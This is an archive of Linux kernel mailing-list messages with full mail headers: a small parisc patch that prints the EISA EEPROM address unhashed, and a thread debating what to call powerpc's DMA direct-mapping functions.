More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show unhashed EISA EEPROM address
Date: Tue, 2 Jan 2018 20:47:01 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180102194701.GA28242@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1514922326 957 195.159.176.226 (2 Jan 2018 19:45:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 19:45:26 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 02 20:45:22 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eWSUo-00076q-6V
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Jan 2018 20:45:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751149AbeABTrM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 2 Jan 2018 14:47:12 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:53019 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751014AbeABTrK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 2 Jan 2018 14:47:10 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.7]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LgI0W-1fJnxc1ItY-00nf5h; Tue, 02
 Jan 2018 20:47:04 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:EtS9YdttSfB56t0uX5/eWzlvksD4q/wynW8KusOX69SfOzY2Dhs
 tRvv4oGsdgHr+h2s5geel+RVMlJP5XTU+dP/MrnZ6iXjLf2mibwSXK1cDj23kWlYsxAHWk5
 Tu5yFIxLzrVb2gxAeS+89AZhKYdOOxhCtocOq+d7N6JyDrkl4vNuwjZK5g89mA4gDAxgvGG
 pELfKw/Lnh71S4l4b2jNw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:8e3GmPVthOI=:DQPz1oX5i37NeD3fpvJC4B
 Lq5G1XyHvPvnrNMXSfwmAAhy6Cqp05RRYMv1yJgb0Vw9qd67YwXQdeYPty5DCn18r1yleVyfV
 jKYGjgmz3fvCLnXnl0CrjWYPN19jxHWk7CkmK2/IWzq/1uykuGxI3ADAMAL/m0ipczhnaPB1F
 b7V3c5Rc2ZuzaHQoQDf1T3QotB4aQ2J7GHvDCH3MPXrKzgQMGvXUL16pYL3y7TccLq4mbPdMm
 qEJ4JZ5mdJK1c+KLKj6HDEb6WyqvuIHv9oDEB5PKUX3DSPtbPkN8mEkmsgBctWq9vj6LyAGhY
 Ijpycl9sYejKC28fMHeBzroD6AceX37E39C2qVqawT9vY3CwnyICxEYmcz4RZaHsQrWjgGsVs
 xwdGrxnu3A5MHAxVZv0qhNCuDJnsVZLesWhcELcWYy9mgrx4TQlPcxcJ/91Jcaf/+lBJzYNQd
 lnGJdhRg/kaM7CZzSUTP4WpPJDqdX0m30HUQqP3+qJ/5dsQOVJHGf0du/nYfrfBna4V13FhxP
 SiQrCXHUJG/qk9ZWmu00oh05iBVkgvlMGGu34JCuf65hnHZOepUzTyTzhu49Z6DDjw2aTZhl7
 niogRVL3jMMDxxf20GgN1JqiVD8pmiDDs8ECSZkw9ZcQDWngv1ZSWTpEsvHP8fVEvjxhEhoJ8
 7v2US07SFBwwBoi+m7v3I+zcVAs4ii+BV6ET7U/MeR+fEw7T4geLUpnstZ9WN8w0ZlptQKRkQ
 Y0QLTcZQ6L80CqPfgSiFtuCbGM7r8McK1Rsr3Pf9ySRty3zqSbWeX+ImAUr98NzNr/l/XzgL 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28151>

Fixes: ad67b74d2469d9b8 ("printk: hash addresses printed with %p")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/eisa_eeprom.c b/drivers/parisc/eisa_eeprom.c
index 4dd9b1308128..99a80da6fd2e 100644
--- a/drivers/parisc/eisa_eeprom.c
+++ b/drivers/parisc/eisa_eeprom.c
@@ -106,7 +106,7 @@ static int __init eisa_eeprom_init(void)
 		return retval;
 	}
 
-	printk(KERN_INFO "EISA EEPROM at 0x%p\n", eisa_eeprom_addr);
+	printk(KERN_INFO "EISA EEPROM at 0x%px\n", eisa_eeprom_addr);
 	return 0;
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Wed, 03 Jan 2018 17:24:02 +1100
Lines: 29
Approved: news@gmane.org
Message-ID: <87h8s3cvel.fsf@concordia.ellerman.id.au>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-17-hch@lst.de> <878tdgtwzp.fsf@concordia.ellerman.id.au> <CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1514960534 1968 195.159.176.226 (3 Jan 2018 06:22:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Jan 2018 06:22:14 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list\:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        "the arch\/x86 maintainers" <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list\:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        Michal Simek
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 03 07:22:08 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWcR8-0002jT-6W
	for glpm-linux-m68k@m.gmane.org; Wed, 03 Jan 2018 07:22:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751502AbeACGYF (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 3 Jan 2018 01:24:05 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:40331 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751344AbeACGYE (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 3 Jan 2018 01:24:04 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3zBLVW0w5Jz9t2f;
        Wed,  3 Jan 2018 17:24:03 +1100 (AEDT)
In-Reply-To: <CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9835 gmane.linux.kernel.iommu:21967 gmane.linux.ports.mips.general:63106 gmane.linux.ports.ia64:28472 gmane.linux.ports.sh.devel:56131 gmane.linux.ports.sparc:27153 gmane.linux.kernel.cross-arch:40920 gmane.linux.ports.hexagon:1479 gmane.linux.kernel.arc:3254 gmane.linux.kernel.metag:1553 gmane.linux.ports.arm.kernel:623461 gmane.linux.ports.parisc:28152 gmane.linux.kernel:2656527 gmane.linux.ports.alpha:4635 gmane.linux.ports.ppc64.devel:151623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9835>

Geert Uytterhoeven <geert@linux-m68k.org> writes:

> On Tue, Jan 2, 2018 at 10:45 AM, Michael Ellerman <mpe@ellerman.id.au> wrote:
>> Christoph Hellwig <hch@lst.de> writes:
>>
>>> We want to use the dma_direct_ namespace for a generic implementation,
>>> so rename powerpc to the second best choice: dma_nommu_.
>>
>> I'm not a fan of "nommu". Some of the users of direct ops *are* using an
>> IOMMU, they're just setting up a 1:1 mapping once at init time, rather
>> than mapping dynamically.
>>
>> Though I don't have a good idea for a better name, maybe "1to1",
>> "linear", "premapped" ?
>
> "identity"?

I think that would be wrong, but thanks for trying to help :)

The address on the device side is sometimes (often?) offset from the CPU
address. So eg. the device can DMA to RAM address 0x0 using address
0x800000000000000.

Identity would imply 0 == 0 etc.

I think "bijective" is the correct term, but that's probably a bit
esoteric.

cheers

From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Wed, 3 Jan 2018 08:49:35 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <CAMuHMdWYDz_jHNxQ-B8944520R-myzHkjkL1rKWUjA38inU7cw@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-17-hch@lst.de>
	<878tdgtwzp.fsf@concordia.ellerman.id.au>
	<CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
	<87h8s3cvel.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514965667 12295 195.159.176.226 (3 Jan 2018 07:47:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Jan 2018 07:47:47 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	"open list:QUALCOMM HEXAGON..." <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	arcml <linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	"open list:METAG ARCHITECTURE" <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Cris <linux-cris-kernel-VrBV9hrLPhE@public.gmane.org>,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	io
To: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 03 08:47:40 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eWdlw-0002YK-Cr
	for glki-iommu@m.gmane.org; Wed, 03 Jan 2018 08:47:36 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D7462BC3;
	Wed,  3 Jan 2018 07:49:38 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 40816BBE
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed,  3 Jan 2018 07:49:38 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-qk0-f194.google.com (mail-qk0-f194.google.com
	[209.85.220.194])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 42C2DE0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed,  3 Jan 2018 07:49:37 +0000 (UTC)
Original-Received: by mail-qk0-f194.google.com with SMTP id g123so617130qka.3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 02 Jan 2018 23:49:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
	h=mime-version:sender:in-reply-to:references:from:date:message-id
	:subject:to:cc;
	bh=dg1gZQ0XTPl5ik865QhgMxj2iYnvoVLLg0Ri4903uJ4=;
	b=UQUCMDYTa6Xir3yzlWynpdu5ZxwVqJkJqkGHy9g61baXK0r6dv8OcyPAGJ+1WoxIwS
	IDsSaywI5gpGGex2l+3JD9ZfHtzLePQS13BKIe8nXZ4GhunrN83t+KO9A8+HppZ1a+8e
	dOiFjt0Qj0aKNR67MQWmJH2YwNL4bxRdhj92HDX4muLFujZQ7XWovpYKMhNXFwpcz8tX
	tRg6wY90t4s2xBD5NHiz4m3BfRe+wF9QVZdazO0cPDmQwpUunuyoR9PQMj58oLJQbM62
	kQaGI9XnmEtm3arUBS+KLMzGtLcJ4eJe6mdi8QZgrgsxMCVzWcXrsv9y+4woGCUhGCCp
	H+tg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=1e100.net; s=20161025;
	h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
	:date:message-id:subject:to:cc;
	bh=dg1gZQ0XTPl5ik865QhgMxj2iYnvoVLLg0Ri4903uJ4=;
	b=RVcsvQiOlKYa8ghvXv4f/fbTb01VP8+fKNnHkiTghWp1tIQkoth0aVg7XDi5NEK5E6
	DzCU1KlIDzCEyYRoP+ryuwfGpCFJ1tyXr7+2d+3WRbP9j0ZDSuU63sO8SmE2EhQtzzT5
	Itvd9P+ElCQa8jDOcf9J4H1fVqKe7+y8C8xopXgogh4TcMmJaijcGrGcTNsw6BfSQK3J
	0TvvmtoNvUHvq86j+T8R6VGqFdGgxoF7KPx/0sMPClyMAo+OvIP4EqQDdfpaqIb68Dx1
	TipWG3RVXJkxkfNXfOTjWtZ+9UBzKEDMfy2ctzoSbBiBJG5u/Ce8e0RqCMkEw5yLiOaN
	a2xA==
X-Gm-Message-State: AKGB3mJC3jX+xAr9Mn8NyoBXzjm5qIBawMz9MeoFwakDLGlGjop7JmsH
	iKgPDPq33srjSDyXiANCMwCQHA4/jl24A5v34ZQ=
X-Google-Smtp-Source: ACJfBosjKbQ3lZy+Ip0KcMk6EGDf7VZMtuMoPU4vodAfZ0xh/mp9uKJMqwr3QljTEFf2n85CWmBPVY3pXtHAmk/D7nI=
X-Received: by 10.55.75.19 with SMTP id y19mr723121qka.45.1514965776374; Tue,
	02 Jan 2018 23:49:36 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 23:49:35 -0800 (PST)
In-Reply-To: <87h8s3cvel.fsf-W0DJWXSxmBNbyGPkN3NxC2scP1bn1w/D@public.gmane.org>
X-Google-Sender-Auth: oqSUvd2ZdU5LGG2QV3eD-O97YFc
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21968 gmane.linux.ports.mips.general:63108 gmane.linux.ports.ia64:28474 gmane.linux.ports.sh.devel:56132 gmane.linux.ports.sparc:27154 gmane.linux.kernel.cross-arch:40921 gmane.linux.ports.hexagon:1480 gmane.linux.kernel.arc:3255 gmane.linux.kernel.metag:1554 gmane.linux.ports.arm.kernel:623472 gmane.linux.ports.parisc:28153 gmane.linux.kernel:2656562 gmane.linux.ports.alpha:4636 gmane.linux.ports.ppc64.devel:151627
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21968>

Hi Michael,

On Wed, Jan 3, 2018 at 7:24 AM, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org> wrote:
> Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org> writes:
>
>> On Tue, Jan 2, 2018 at 10:45 AM, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org> wrote:
>>> Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org> writes:
>>>
>>>> We want to use the dma_direct_ namespace for a generic implementation,
>>>> so rename powerpc to the second best choice: dma_nommu_.
>>>
>>> I'm not a fan of "nommu". Some of the users of direct ops *are* using an
>>> IOMMU, they're just setting up a 1:1 mapping once at init time, rather
>>> than mapping dynamically.
>>>
>>> Though I don't have a good idea for a better name, maybe "1to1",
>>> "linear", "premapped" ?
>>
>> "identity"?
>
> I think that would be wrong, but thanks for trying to help :)
>
> The address on the device side is sometimes (often?) offset from the CPU
> address. So eg. the device can DMA to RAM address 0x0 using address
> 0x800000000000000.
>
> Identity would imply 0 == 0 etc.
>
> I think "bijective" is the correct term, but that's probably a bit
> esoteric.

OK, didn't know about the offset.
Then "linear" is what we tend to use, right?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julian Calaby <julian.calaby@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Wed, 3 Jan 2018 19:19:46 +1100
Lines: 48
Approved: news@gmane.org
Message-ID: <CAGRGNgV+DnZAAtiE5oe8rxp4=_JHJrtSQc8F5jrgN0rgYKfwjA@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-17-hch@lst.de>
 <878tdgtwzp.fsf@concordia.ellerman.id.au> <CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
 <87h8s3cvel.fsf@concordia.ellerman.id.au> <CAMuHMdWYDz_jHNxQ-B8944520R-myzHkjkL1rKWUjA38inU7cw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514967495 20212 195.159.176.226 (3 Jan 2018 08:18:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Jan 2018 08:18:15 +0000 (UTC)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Christoph Hellwig <hch@lst.de>,
        iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        "Maili
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 03 09:18:08 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWeFS-0004LH-2N
	for glpm-linux-m68k@m.gmane.org; Wed, 03 Jan 2018 09:18:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751449AbeACIUJ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 3 Jan 2018 03:20:09 -0500
Original-Received: from mail-wr0-f196.google.com ([209.85.128.196]:38603 "EHLO
        mail-wr0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751442AbeACIUI (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 3 Jan 2018 03:20:08 -0500
Original-Received: by mail-wr0-f196.google.com with SMTP id y9so752054wrb.5
        for <linux-m68k@lists.linux-m68k.org>; Wed, 03 Jan 2018 00:20:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=sMfETgmfI7U8AQjGPwtH0IDmQDFB2DTP74LNtFVnKSo=;
        b=FQ9+QZTD8Udp9egL79r8e672KMsgHB6avzwNdtNCuhW9KroGPsHnlxTiSNAr3ZBz4a
         Qndv3jQ5CGLe9ZFCXyx0qDzZiWCnYt3poQnHocznkL7Ln/tcrx8RjfX8zTy76SG2XWct
         tR742tSk3XiGgjz0SMXsrjSyqk8b42NcJXlwr9+V+zabv939Yf4XIPYzVDO7oGMlIi7B
         kbxQiMEJ/a/5UVl+asevb6ZYMFucrefgqLs5PYfyrhbzTTMl4nzyFz4G6TjwHN/UT/S2
         Mq6qGneEihhwfZaiEbN/MoN3jM8aDMXX/I3qbRVjnAccNGHLhkYEKm2OQWc4B8r6YHsA
         sgTQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=sMfETgmfI7U8AQjGPwtH0IDmQDFB2DTP74LNtFVnKSo=;
        b=j30HfMaurFMwHZ74ZELgv2URs1ULQCCmGJBDx8snzLf+RMSh6Z3S7oZXxFn6ybulz0
         JhsFwlbjJhp/V6okGkqYzViOHTC1GUm6Ox/3n8q9PaMX4hxBNvAEnkwqQcIma0bM/H43
         hPcZ9gZtL+bhs71IdH4+Nz22MREWInlyPjZY31u905w2E5noLoyQ24Gg/me5OUX5mPnk
         g5LXQRohlVje6qjlUyoL3tSULSUn6jfrsTeydo+CE6gxph+jg2K0xcC4vWWwWDkRZsI2
         ZVWUdF7XiAuRzG1Q3yRBbg+P/Jiloyt4EbJWTi0ug1ndWkKKtD2YlrEKfvCCzfRBipDX
         VLxA==
X-Gm-Message-State: AKGB3mKPd3QqM0qRAs2DtVf+3/D8BKiDi9Gc1dhoIFgAPkiMuz4vnTF0
        mjuaEWEWQY5OQNX2urjeiK4d73XHM4VUYESh3J0=
X-Google-Smtp-Source: ACJfBovkxcUik9Pw0e4DTBdVebqLIFW6U84Gz81Ne7r1ZhLu1BPxwuTdJ8+XabVZBGC9/QEtqP9RocDmEzlnzUOnvdk=
X-Received: by 10.223.195.99 with SMTP id e32mr730691wrg.10.1514967607103;
 Wed, 03 Jan 2018 00:20:07 -0800 (PST)
Original-Received: by 10.223.153.163 with HTTP; Wed, 3 Jan 2018 00:19:46 -0800 (PST)
